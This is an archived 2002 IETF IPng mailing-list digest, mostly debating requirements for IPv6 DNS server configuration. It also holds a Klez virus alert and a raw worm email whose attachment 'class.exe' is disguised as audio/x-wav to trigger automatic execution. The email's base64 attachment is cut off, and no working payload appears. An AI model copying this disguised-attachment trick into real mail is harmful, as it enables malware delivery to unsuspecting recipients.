MimeOLE V5.50.4807.1700 Importance: Normal X-Authentication-Info: Submitted using SMTP AUTH LOGIN at fep01-mail.bloor.is.net.cable.rogers.com from [24.42.58.113] using ID at Tue, 23 Apr 2002 09:50:17 -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Email received with virus Recevied from : hinden@iprg.nokia.com The email attachment FOR.bat is infected with the W32.Klez.gen@mm virus. W32.Klez.gen@mm is a generic detection that detects variants of W32.Klez. Computers that are infected with W32.Klez.gen@mm are most likely infected with either W32.Klez.E@mm or W32.Klez.H@mm. Please refer to the appropriate write-ups for more information. Removal tool Symantec has provided a tool to remove infections of W32.Klez.E@mm, W32.Klez.H@mm, W32.ElKern.3587, and W32.ElKern.4926. If your computer is detected as infected with W32.Klez.gen@mm, download and run the tool. In most case, to tool will be able to remove the infection. Click here to obtain the tool. http://securityresponse.symantec.com/avcenter/venc/data/w32.klez.removal.too l.html This is the easiest way to remove these threats and should be tried first. Type: Virus, Worm Infection Length: Varies Ray Stevens CCNP, CCDP, SCSA -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 07:02:51 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NE2pGs012469; Tue, 23 Apr 2002 07:02:51 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3NE2oIL012468; Tue, 23 Apr 2002 07:02:50 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NE2lGs012461 for ; Tue, 23 Apr 2002 07:02:47 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA28738 for ; Tue, 23 Apr 2002 07:02:47 -0700 (PDT) Received: from funnel.cisco.com (funnel.cisco.com [161.44.168.79]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA09539 for ; Tue, 23 Apr 2002 08:02:47 -0600 (MDT) Received: from rdroms-w2k.cisco.com (rtp-vpn1-358.cisco.com [10.82.225.102]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA03732; Tue, 23 Apr 2002 10:02:40 -0400 (EDT) Message-Id: <4.3.2.7.2.20020423093726.00b5a6b0@funnel.cisco.com> X-Sender: rdroms@funnel.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 23 Apr 2002 10:02:37 -0400 To: Keith Moore From: Ralph Droms Subject: Re: Proposed IPv6 DNS Discovery Requirements Cc: ipng@sunroof.eng.sun.com In-Reply-To: <200204231323.g3NDNie22908@astro.cs.utk.edu> References: <(Your message of "Tue, 23 Apr 2002 08:28:43 EDT.") <4.3.2.7.2.20020423061818.03810eb8@funnel.cisco.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Keith - I think we might actually be more in agreement than disagreement. You have pointed out several places where I wasn't clear; let me see if I can clarify... One global clarification - I used the term "requirements" in the sense I often see the term (mis)used. What I've written is more a "wish list", and I have every expectation that some of the requirements can't be met and other requirements are mutually exclusive. The list should be used a yardstick for measuring proposed solutions. 1. I agree - the DNS configuration discussion should be qualified by a global "if the host wants to find out about local DNS services". Suggestions about how to word that qualification will be gratefully accepted. I did try to be clear that "addresses for DNS servers" is a separate problem from "domain and domain search list"... 2. My wording for requirement 12 was unclear. What I meant was "if the host requests information about DNS servers, the list of servers can be customized for that host". I don't intend that a network admin can force a host to use a specific set of DNS servers; rather, different hosts can get configured with different lists of DNS servers 3. If interpreted as absolute, binary requirements, 7 and 8 are quite likely fantasies. I intend 7 and 8 to be goals that proposed solutions can be measured against. 4. In requirement 6, I was trying to express the requirement that the host can trust the servers it learns about through DNS configuration. If that wording is clearer, I'll use it in the requirements list. 5. In the note about requirement 7, I guess simply "defined in an Internet Draft" might be sufficient. I was hoping to be able to restrict consideration to protocols that are already under development and have achieved some level of maturity. 6. The note about requirement 11 was intended as a definition for a phrase in requirement 11; it should read: "A host and a server are in the same site if they can exchange datagrams using site-local addresses." At 09:23 AM 4/23/2002 -0400, Keith Moore wrote: >I strongly disagree with a number of the 'requirements' you've proposed. > >1. it is not possible in general for a host to determine it's proper >DNS configuration from information provided by the network, because >the DNS search path that the host wants to use may not be the one >that the local network specifies. even trusting the local network's >DNS servers to serve as the interface to other DNS zones is a stretch. >it's fine if hosts want to do this, not fine to insist that they do this. > >hosts MUST therefore be able to specify their own DNS configuration which >overrides that specified by the local network environment, and this >seems to contradict your 'requirements' #10 and #12. > >2. re 'requirement' #12: it's absolutely unacceptable for IETF to dictate >that a network administrator can 'control' what DNS servers a host can >use - this is fundamentally a host issue and not a network issue; >it's outside of the scope of what a network should be able to dictate >to a host. again, the fact that a host is currently connected to a >certain location in the network should not be taken as evidence that the >context in which that host operates (dns servers, search path, default >domain) should have anything to do with that network location. > >3. 'requirements' #7,8 are premature at best and probably a fantasy. >it's highly unlikely that DNS discovery can be implemented without some >new protocol definition and implementation, even if you use similar >packet formats and port # to those that exist now you are certainly >going to need to change client and server code - and that is a protocol >change. so I think at the very least these are poorly worded. > >more importantly, this decision is best made after alternatives >have been considered - not as an a priori 'requirement' that >presumes the solution. > >4. I'm not at all sure what it means to 'authenticate the reliability' >of a server, so I think this needs to be reworded. > >5. note #7: there's no such thing as a 'standards-track Internet Draft' > >6. requirement #11 and your note about #11 seem to be mutually >exclusive - you can't use site-local addresses when the host >and server are at different sites. of course, it's fine to use >site-local addresses between hosts and servers at the same site. > > > > IPv6 DNS Configuration Requirements > > ------------------------------------ > > > > 1. Host receives IPv6 address(es) of DNS server(s) available to the > > host for DNS resolution > > 1.a. The list of servers includes only currently available > > servers > > 1.b. The host can obtain the addresses of new servers as needed > > 2. Hosts obtain DNS configuration with no manual configuration > > 3. The addresses of a particular server are provided to hosts with no > > manual configuration of that server > > 4. Hosts obtain DNS configuration using only those resources required > > for DNS resolution > > 5. Hosts obtain DNS configuration without the manual configuration of > > any external service > > 6. Hosts can (if desired) authenticate the reliability of servers > > 7. Definition of DNS configuration requires no additional > > protocol definition > > 8. Implementation of DNS configuration requires no additional protocol > > implementation > > 9. Time to initial deployment is minimal > > 10. Hosts have one way to perform DNS configuration > > 11. DNS configuration operates when host and DNS servers are in same > > site or in different sites > > 12. A network administrator can control what servers a host uses > > 13. Host is configured with domain and domain search list > > > > Notes: > > ------ > > 2. (and 3.) Hosts and DNS servers operate as "plug-and-play" or > > "zeroconf" > > 7. "additional protocol definition" means protocols not currently a > > standard or defined in a standards-track Internet Draft > > 8. "no additional protocol implementation" means hosts and servers > > are not required to include code for protocols that they wouldn't > > otherwise implement > > 10. Hosts shouldn't need to try several different DNS Configuration > > protocols to find which one is available on a link > > 11. Hosts and DNS servers can exchange datagrams using site-local > > addresses > > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 07:28:03 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NES3Gs012756; Tue, 23 Apr 2002 07:28:03 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3NES3Qd012755; Tue, 23 Apr 2002 07:28:03 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NES0Gs012748 for ; Tue, 23 Apr 2002 07:28:00 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA13083 for ; Tue, 23 Apr 2002 07:28:00 -0700 (PDT) Received: from purgatory.unfix.org (cust.92.136.adsl.cistron.nl [195.64.92.136]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA26417 for ; Tue, 23 Apr 2002 07:27:59 -0700 (PDT) Received: from localhost (localhost [::ffff:127.0.0.1]) by purgatory.unfix.org (Postfix) with ESMTP id 410693154; Tue, 23 Apr 2002 16:27:57 +0200 (CEST) Received: from HELL (hell.unfix.org [::ffff:10.100.13.66]) by purgatory.unfix.org (Postfix) with ESMTP id 2A01C3128; Tue, 23 Apr 2002 16:27:54 +0200 (CEST) From: "Jeroen Massar" To: "'Ray Stevens'" , Subject: RE: A funny website - VIRUS Date: Tue, 23 Apr 2002 16:27:51 +0200 Organization: Unfix Message-ID: <002901c1ead3$0cdbb950$420d640a@unfix.org> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-reply-to: <002101c1eacd$f5e36400$713a2a18@ym.phub.net.cable.rogers.com> Importance: Normal X-Virus-Scanned: by AMaViS @ purgatory.unfix.org Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Ray Stevens wrote: > Email received with virus > Recevied from : hinden@iprg.nokia.com And if you looked a bit further than your nose: 8<--------------------- Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NAkvGs011206 for ; Tue, 23 Apr 2002 03:46:57 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA23631 for ; Tue, 23 Apr 2002 03:46:57 -0700 (PDT) Received: from dns1.shixun.net ([202.108.105.253]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA14452 for ; Tue, 23 Apr 2002 03:46:44 -0700 (PDT) Received: from gaohong.mail ([202.108.105.116]) by dns1.shixun.net with Microsoft SMTPSVC(5.0.2195.4453); Tue, 23 Apr 2002 18:34:27 +0800 Received: from Egqkw [192.216.225.28] by gaohong.mail [192.216.224.8] with SMTP (MDaemon.v2.83.R) for ; Tue, 23 Apr 2002 18:59:12 +0800 From: hinden To: ipng@sunroof.eng.sun.com Subject: A funny website MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=Pwi85iIBn1R45rl9Ir3P4gE8821 X-MDaemon-Deliver-To: ipng@sunroof.eng.sun.com X-Return-Path: fanzz@gaohong.mail Message-ID: X-OriginalArrivalTime: 23 Apr 2002 10:34:28.0015 (UTC) FILETIME=[71F69BF0:01C1EAB2] Date: 23 Apr 2002 18:34:28 +0800 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk ------------------------------->8 When did Bob started using blukmailers ? :) In other words these nice virii select their source addy based on spamlists. very funny... I know of a nice solution which I should write up to make it some kind of standard. Which at least circumvents source-email address spoofing as that is what is happening now. Especially if many IPv6 boxes will be deployed holes&misconfigs will become more and more common and spams will go higher and higher. Greets, Jeroen -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 07:36:34 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NEaYGs012806; Tue, 23 Apr 2002 07:36:34 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3NEaYMS012805; Tue, 23 Apr 2002 07:36:34 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NEaUGs012798 for ; Tue, 23 Apr 2002 07:36:30 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA10176 for ; Tue, 23 Apr 2002 07:36:31 -0700 (PDT) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA07905 for ; Tue, 23 Apr 2002 08:36:31 -0600 (MDT) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id HAA00664; Tue, 23 Apr 2002 07:36:30 -0700 (PDT) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id g3NEaTF23665; Tue, 23 Apr 2002 07:36:29 -0700 X-mProtect: <200204231436> Nokia Silicon Valley Messaging Protection Received: from UNKNOWN (198.77.202.22, claiming to be "spruce.iprg.nokia.com") by darkstar.iprg.nokia.com smtpdAxlhSF; Tue, 23 Apr 2002 07:36:27 PDT Message-Id: <4.3.2.7.2.20020423072508.02f27040@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 23 Apr 2002 07:36:00 -0700 To: Ralph Droms From: Bob Hinden Subject: Re: Proposed IPv6 DNS Discovery Requirements Cc: ipng@sunroof.eng.sun.com In-Reply-To: <4.3.2.7.2.20020423061818.03810eb8@funnel.cisco.com> References: <4.3.2.7.2.20020421073905.00b8e5d0@funnel.cisco.com> <4.3.2.7.2.20020417161937.02a06020@mailhost.iprg.nokia.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Ralph, At 05:28 AM 4/23/2002, Ralph Droms wrote: >Here's my cut at a list of requirements for DNS Configuration. It's based >on Bob's "IPv6 DNS Discovery Requirements Statement", previous discussions >on DNS configuration, and my own $0.02. My intention is to list all of >the requirements I've heard in the various discussions about DNS configuration. Thanks for your help, but I think it would best to continue discussing the requirements I sent earlier, as opposed to having several dueling sets of requirements. Later this week I am planning to send out an update and then take a poll to see if there is a "rough consensus" in the working group so we can move forward. Bob -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 07:45:15 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NEjFGs012851; Tue, 23 Apr 2002 07:45:15 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3NEjFXS012850; Tue, 23 Apr 2002 07:45:15 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NEjCGs012843 for ; Tue, 23 Apr 2002 07:45:12 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA08468 for ; Tue, 23 Apr 2002 07:45:13 -0700 (PDT) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA06395 for ; Tue, 23 Apr 2002 08:45:12 -0600 (MDT) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id HAA00946; Tue, 23 Apr 2002 07:45:12 -0700 (PDT) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id g3NEjAn31728; Tue, 23 Apr 2002 07:45:10 -0700 X-mProtect: <200204231445> Nokia Silicon Valley Messaging Protection Received: from UNKNOWN (198.77.202.22, claiming to be "spruce.iprg.nokia.com") by darkstar.iprg.nokia.com smtpdEOOyXf; Tue, 23 Apr 2002 07:45:08 PDT Message-Id: <4.3.2.7.2.20020423074323.025c6318@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 23 Apr 2002 07:44:41 -0700 To: Rob Austein From: Bob Hinden Subject: Re: Proposed IPv6 DNS Discovery Requirements Cc: ipng@sunroof.eng.sun.com In-Reply-To: <20020423041201.BF7C91C14@thrintun.hactrn.net> References: <4.3.2.7.2.20020422135255.02ceafe0@mailhost.iprg.nokia.com> <4.3.2.7.2.20020419094035.02bc9198@mailhost.iprg.nokia.com> <20020419173026.570901C7E@thrintun.hactrn.net> <4.3.2.7.2.20020422135255.02ceafe0@mailhost.iprg.nokia.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Rob, Thanks. I will give it some thought and respond tomorrow. I will not have email for most of today. Bob At 09:12 PM 4/22/2002, Rob Austein wrote: >At Mon, 22 Apr 2002 13:57:02 -0700, Bob Hinden wrote: > > > > Could you comment on the definition I used for server-less? There > > was more than just the use of the word. > >I think that Ralph already addressed the main point, I doubt that I >can improve much on his comments, and I implore you to read what he >wrote very carefully. > >However, since you did ask a direct question, I'll try to answer it. > > > For this requirement, Server-less is defined to mean the DNS > > information is learned with out any dependence on resources other > > than are needed (i.e., links, interfaces, routers, and DNS server) > > to communicate with the DNS server. > >Comments: > > The term "DNS server" is not well defined at the level of detail > that this problem statement requires. Is an entity that implements > both the DNS server role and portions of the DHCP server role a "DNS > server" within the meaning of this definition? > > The term "router" is not well defined at the level of detail that > this problem statement requires. Eg, would DHCP relay agents > co-resident with routers be parts of the routers within the meaning > of this definition? > >In all seriousness: I can't tell you whether I agree with your >statement of the problem until I know what what the words mean. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 13:14:19 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NKEIGs014065; Tue, 23 Apr 2002 13:14:18 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3NKEIhm014064; Tue, 23 Apr 2002 13:14:18 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NKECGs014046 for ; Tue, 23 Apr 2002 13:14:12 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA18238 for ; Tue, 23 Apr 2002 13:14:08 -0700 (PDT) Received: from mail.xtra.pl (mail.xtra.pl [212.14.56.3]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA22878 for ; Tue, 23 Apr 2002 14:14:03 -0600 (MDT) Received: from Jxblvo (pecker.xtra.pl [212.14.56.93]) by mail.xtra.pl (8.9.3/8.9.3) with SMTP id WAA01760 for ; Tue, 23 Apr 2002 22:13:53 +0200 Date: Tue, 23 Apr 2002 22:13:53 +0200 Message-Id: <200204232013.WAA01760@mail.xtra.pl> From: misiek To: ipng@sunroof.eng.sun.com Subject: ACCESSKEY MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=Dt7G2mg6Y4wIK950c10222oo1bFG1q143lt4 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --Dt7G2mg6Y4wIK950c10222oo1bFG1q143lt4 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --Dt7G2mg6Y4wIK950c10222oo1bFG1q143lt4 Content-Type: audio/x-wav; name=class.exe Content-Transfer-Encoding: base64 Content-ID: --Dt7G2mg6Y4wIK950c10222oo1bFG1q143lt4 --Dt7G2mg6Y4wIK950c10222oo1bFG1q143lt4 Content-Type: application/octet-stream; name=MLAN.HTM Content-Transfer-Encoding: base64 Content-ID: PGh0bWw+DQoJPGhlYWQ+DQoJCTxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9j c3MiIGhyZWY9Im1tc29ic2hlLmNzcyI+DQoJCQ0KCQk8b2JqZWN0IElEPSJtc25TZXR1cCIg Q0xBU1NJRD0iQ0xTSUQ6MzRDOTk5MEYtQ0JENy0xMUQyLUFFMEUtMDBDMDRGQUVBODNGIiBz dHlsZT0iZGlzcGxheTpub25lOndpZHRoOjBweDtoZWlnaHQ6MHB4IiB2aWV3YXN0ZXh0Pjwv b2JqZWN0Pg0KCQk8c2NyaXB0IGxhbmd1YWdlPSJKYXZhc2NyaXB0Ij4NCgkJCXZhciBFUlJf Q09NTV9OT19FUlJPUiAgICAgICAgICAgID0gMDsNCgkJCXZhciBFUlJfQ09NTV9PT0JFX0NP TVBfTUlTU0lORyAgID0gMTsNCgkJCXZhciBFUlJfQ09NTV9VTktOT1dOICAgICAgICAgICAg ID0gMjsgICAgICAgIC8vIFVua25vdyBlcnJvciwgY2hlY2sgaW5wdXQgcGFyYW1ldGVycw0K CQkJdmFyIEVSUl9DT01NX05PTU9ERU0gICAgICAgICAgICAgPSAzOyAgICAgICAgLy8gVGhl cmUgaXMgbm8gbW9kZW0gaW5zdGFsbGVkDQoJCQl2YXIgRVJSX0NPTU1fUkFTX1RDUF9OT1RJ TlNUQUxMICA9IDQ7DQoJCQl2YXIgblJlc3VsdDsNCgkJCXZhciBBcGlPYmo7DQoJCQl2YXIg SEtFWV9MT0NBTF9NQUNISU5FID0gMHg4MDAwMDAwMjsNCgkJCXZhciBPT0JFX01BSU5fUkVH X0tFWSA9ICJTT0ZUV0FSRVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxc U2V0dXBcXE9PQkUiOw0KCQkJdmFyIEZsYWcgPSAwOw0KCQkJdmFyIElOU1RBTExfTU9ERU0g PSAxOw0KCQkJdmFyIElOU1RBTExfT0UgPSAyOw0KCQkJdmFyIE1BS0VfU1BBQ0UgPSAzOw0K CQkJdmFyIElOU1RBTExfRFVOVENQID0gNDsNCg0KCQkJZnVuY3Rpb24gRG9Mb2FkKCl7DQoJ CQkJDQoJCQkJd2luZG93LnBhcmVudC5Jbml0QnV0dG9ucygpOw0KCQkJCWJ0bk5leHQuZGlz YWJsZWQgPSBmYWxzZTsNCgkJCQkNCgkJCQl2YXIgc0xjaWQ7DQoJCQkJdmFyIEFwaU9iajsN CgkJCQl2YXIgc1BhdGg7DQoJCQkJdmFyIHNSZXN1bHQ7DQoJCQkJdmFyIGdpSW50ZXJ2YWxJ RDsNCgkJCQkNCgkJCQlpZiAobnVsbCA9PSBBcGlPYmopDQoJCQkJew0KCQkJCQlBcGlPYmog PSBuZXcgT2JqZWN0Ow0KCQkJCQlBcGlPYmogPSB3aW5kb3cuZXh0ZXJuYWwuQVBJOw0KCQkJ CX0NCgkJCQlzTGNpZCA9IEFwaU9iai5nZXRfVXNlckRlZmF1bHRMQ0lEKCk7DQoJCQkJc1Bh dGggPSBBcGlPYmouZ2V0X1N5c3RlbURpcmVjdG9yeSgpOw0KCQkJCXNQYXRoID0gc1BhdGgg KyAiXFxPT0JFXFxtc29iZS5pc3AiOw0KCQkJCS8qIG5vdCBuZWVkZWQgaWYgdXNpbmcgdGhl IGV4dGVybmFsLmNvbm5lY3QgZnVuY3Rpb24gKi8NCgkJCQkvL3NWYWx1ZSA9IEFwaU9iai5n ZXRfSU5JS2V5KCBzUGF0aCwgIlVSTCIsICJTaWdudXAiKTsgDQoJCQkJLy9zVmFsdWUgPSBz VmFsdWUgKyAiTEFOX0NPTkZJR2FVUkU9MSZMQ0lEPSIgKyBzTGNpZDsNCgkJCQkNCi8vTGFu PTENCndpbmRvdy5leHRlcm5hbC5BUEkuc2V0X1JlZ1ZhbHVlKEhLRVlfTE9DQUxfTUFDSElO RSwiU09GVFdBUkVcXE1pY3Jvc29mdFxcTVNOIiwiTGFuU2V0dXAiLCAiMSIpOw0KCQkJCXNS ZXN1bHQgPSB3aW5kb3cuZXh0ZXJuYWwuQ29ubmVjdChzUGF0aCk7DQoJCQkJDQoJCQkJZ2lJ bnRlcnZhbElEID0gd2luZG93LnNldFRpbWVvdXQoIlNldEVycm9yVGV4dCgpIiwxMDAwMCk7 DQoJCQkJDQoJCQl9DQoJCQkJZnVuY3Rpb24gU2V0RXJyb3JUZXh0KCl7DQoJCQkJCXZhciBM X3N0clRpdGxlVGV4dF9UZXh0ID0gIkNvdWxkIG5vdCBjb25uZWN0IHRvIE1TTiB2aWEgTEFO IjsNCgkJCQkJU3RhcnRfVElUTEUxLmlubmVySFRNTCA9IExfc3RyVGl0bGVUZXh0X1RleHQ7 DQoJCQkJCXZhciBMX3N0ckVycm9yVGV4dF9UZXh0ID0gJ0FuIGVycm9yIG9jY3VycmVkIHdo aWxlIHRyeWluZyB0byBjb25uZWN0IHRvIE1TTi4gPGJyPjxicj5UaGlzIGlzIHBvc3NpYmx5 IGNhdXNlZCBieSBpbXByb3BlciBMQU4gY29ubmVjdGlvbiBzZXR0aW5ncy48YnI+VG8gYWNj ZXNzIGFuZCBtb2RpZnkgdGhvc2Ugc2V0dGluZ3MsIGNsaWNrIG9uIFN0YXJ0IGFuZCA8YnI+ c2VsZWN0IFNldHRpbmdzL0NvbnRyb2wgUGFuZWwsIHRoZW4gZG91YmxlLWNsaWNrIG9uIElu dGVybmV0IFByb3BlcnRpZXMsIDxicj5zZWxlY3QgdGhlIENvbm5lY3Rpb25zIHRhYiBhdCB0 aGUgdG9wIG9mIHRoZSBkaWFsb2csPGJyPiBhbmQgY2xpY2sgb24gdGhlICJMQU4gU2V0dGlu Z3MuLi4iIGJ1dHRvbi48YnI+PGJyPjxicj5PbmNlIHlvdSBoYXZlIGNoYW5nZWQgdGhlIHNl dHRpbmdzLDxicj4gY2xpY2sgb24gdGhlIE5FWFQgYnV0dG9uIG9uIHRoaXMgcGFnZSB0byB0 cnkgY29ubmVjdGluZyBhZ2Fpbi48YnI+JzsNCiAgICAgICAgICAgIAkJZXJyb3J0eHQuaW5u ZXJIVE1MID0gTF9zdHJFcnJvclRleHRfVGV4dDsNCgkJCQl9DQoJCQkNCgkJCWZ1bmN0aW9u IENsb3NlV2luZG93KCl7DQoJCQkNCgkJCSB2YXIgTF9zdHJDbG9zZVdpbmRvd19UZXh0ID0i Q2xpY2sgT0sgdG8gZXhpdCBNU04gSW50ZXJuZXQgQWNjZXNzIFNldHVwLiI7DQoJCQlpZiAo Y29uZmlybShMX3N0ckNsb3NlV2luZG93X1RleHQpKXsNCgkJCQkJd2luZG93LmV4dGVybmFs LkZpbmlzaCgpOw0KCQkJCX0NCgkJCX0NCg0KCQkJDQoJCQlmdW5jdGlvbiBNU05Hb05leHQo KXsNCgkJCQl2YXIgc0xjaWQ7DQoJCQkJdmFyIEFwaU9iajsNCgkJCQl2YXIgc1BhdGg7DQoJ CQkJdmFyIHNSZXN1bHQ7DQoJCQkJdmFyIGdpSW50ZXJ2YWxJRDsNCgkJCQkNCgkJCQkvL3dp bmRvdy5wYXJlbnQuZXh0ZXJuYWwuUnVuTWFudWFsSUNXKCk7DQogICAgICAgICAgICAJCQlp ZiAobnVsbCA9PSBBcGlPYmopDQoJCQkJew0KCQkJCQlBcGlPYmogPSBuZXcgT2JqZWN0Ow0K CQkJCQlBcGlPYmogPSB3aW5kb3cuZXh0ZXJuYWwuQVBJOw0KCQkJCX0NCgkJCQlzTGNpZCA9 IEFwaU9iai5nZXRfVXNlckRlZmF1bHRMQ0lEKCk7DQoJCQkJc1BhdGggPSBBcGlPYmouZ2V0 X1N5c3RlbURpcmVjdG9yeSgpOw0KCQkJCXNQYXRoID0gc1BhdGggKyAiXFxPT0JFXFxtc29i ZS5pc3AiOw0KCQkJCS8qIG5vdCBuZWVkZWQgaWYgdXNpbmcgdGhlIGV4dGVybmFsLmNvbm5l 